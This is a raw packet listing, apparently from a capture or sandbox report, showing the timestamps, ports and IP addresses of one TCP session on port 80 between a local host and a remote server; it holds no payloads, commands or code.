Nov 22, 2024 00:11:27.271430016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.271452904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.271502018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.272355080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.272399902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.272416115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.272444010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.273320913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.273382902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.273474932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.273526907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.274295092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.274353981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.274396896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.274447918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.275310040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.275393009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.275399923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.275448084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.276288033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.276341915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.276397943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.276448965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.277250051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.277309895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.277375937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.277431965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.278276920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.278290033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.278338909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.279210091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.279268980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.279284000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.279340029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.280217886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.280272961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.280292034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.280339003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.281416893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.281475067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.281501055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.281538963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.282161951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.282219887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.282248020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.282304049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.283119917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.283188105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.330708981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.330786943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.330789089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.330832958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.331253052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.331286907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.331393003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.332416058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.332468987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.332474947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.332516909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.333241940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.333276033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.333296061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.333316088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.334203959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.334239960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.334259033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.334285975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.335192919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.335256100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.335372925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.335437059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.336280107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.336334944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.336335897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.336380959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.337064028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.337110996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.337192059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.337238073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.338057995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.338114977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.338170052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.338211060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.339037895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.339087009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.339169025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.339222908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.340013981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.340065002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.340132952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.340174913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.341018915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.341072083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.341078043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.341114044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.341985941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.342078924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.342163086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.342225075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.343091011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.343148947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.343154907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.343194962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.344449043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.344508886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.344510078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.344551086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.344912052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.344955921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.345019102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.345062017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.345904112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.345959902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.346029043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.346077919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.346858025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.346910954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.346996069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.347043037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.347855091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.347908974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.348150015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.348191977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.349179983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.349235058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.349237919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.349278927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.350261927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.350311995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.350334883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.350395918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.350784063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.350830078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.350893021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.350935936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.351835966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.351893902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.351905107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.351953030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.352716923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.352787971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.390444994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.390525103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.390564919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.390619040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.390742064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.390805006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.390886068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.390938044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.391701937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.391772985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.391839027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.391891956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.393022060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.393074989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.393089056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.393122911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.393731117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.393793106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.393800020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.393848896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.394941092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.394998074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.395016909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.395068884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.395641088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.395688057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.395832062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.395881891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.396692038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.396743059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.396792889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.396842003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.397639990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.397696972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.397753954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.397803068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.398576975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.398627043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.398710012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.398768902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.399588108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.399641037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.399826050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.399871111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.400552988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.400603056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.400623083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.400674105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.401511908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.401562929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.401571035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.401607990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.402468920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.402532101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.431806087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.431863070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.431879997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.431914091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.432523966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.432586908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.432749033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.432804108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.433880091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.433916092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.433948994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.433971882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.434752941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.434875011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.472281933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.472351074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.472450972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.472477913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.472723007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.472776890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.472810030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.472825050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.473714113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.473747969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.473769903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.473788023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.474664927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.474719048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.474807978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.474863052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.475703001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.475738049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.475761890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.475775003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.476773024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.476808071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.476830006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.476850033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.477678061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.477729082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.477734089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.477777004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.478621960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.478678942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.478715897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.478771925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.479770899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.479804993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.479826927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.479846001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.480750084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.480786085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.480806112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.480876923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.481528044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.481580019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.481678009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.481725931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.482551098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.482584953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.482604027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.482621908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.483534098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.483612061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.483654976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.483721018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.484512091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.484566927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.531893969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.531991959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.532052040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.532097101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.532371044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.532454014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.532601118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.532659054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.533350945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.533406019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.533467054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.533515930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.534405947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.534456968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.534462929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.534535885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.535348892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.535407066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.535422087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.535475016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.536320925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.536384106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.536406994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.536462069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.537316084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.537374020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.537406921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.537461042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.538243055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.538350105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.538407087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.538463116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.539259911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.539330959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.539381027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.539441109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.540230036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.540287018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.540292978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.540345907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.541181087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.541237116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.541239023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.541287899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.542232990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.542293072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.542303085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.542352915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.543164968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.543240070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.543247938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.543298006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.544192076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.544254065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.544261932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.544312954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.545111895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.545171976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.545238972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.545291901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.546066046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.546123028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.546250105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.546299934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.547024012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.547077894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.547143936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.547192097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.548024893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.548088074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.548233032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.548288107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.549021006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.549079895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.549143076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.549197912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.549993038 CET	80	49704	185.215.113.206	192.168.2.5
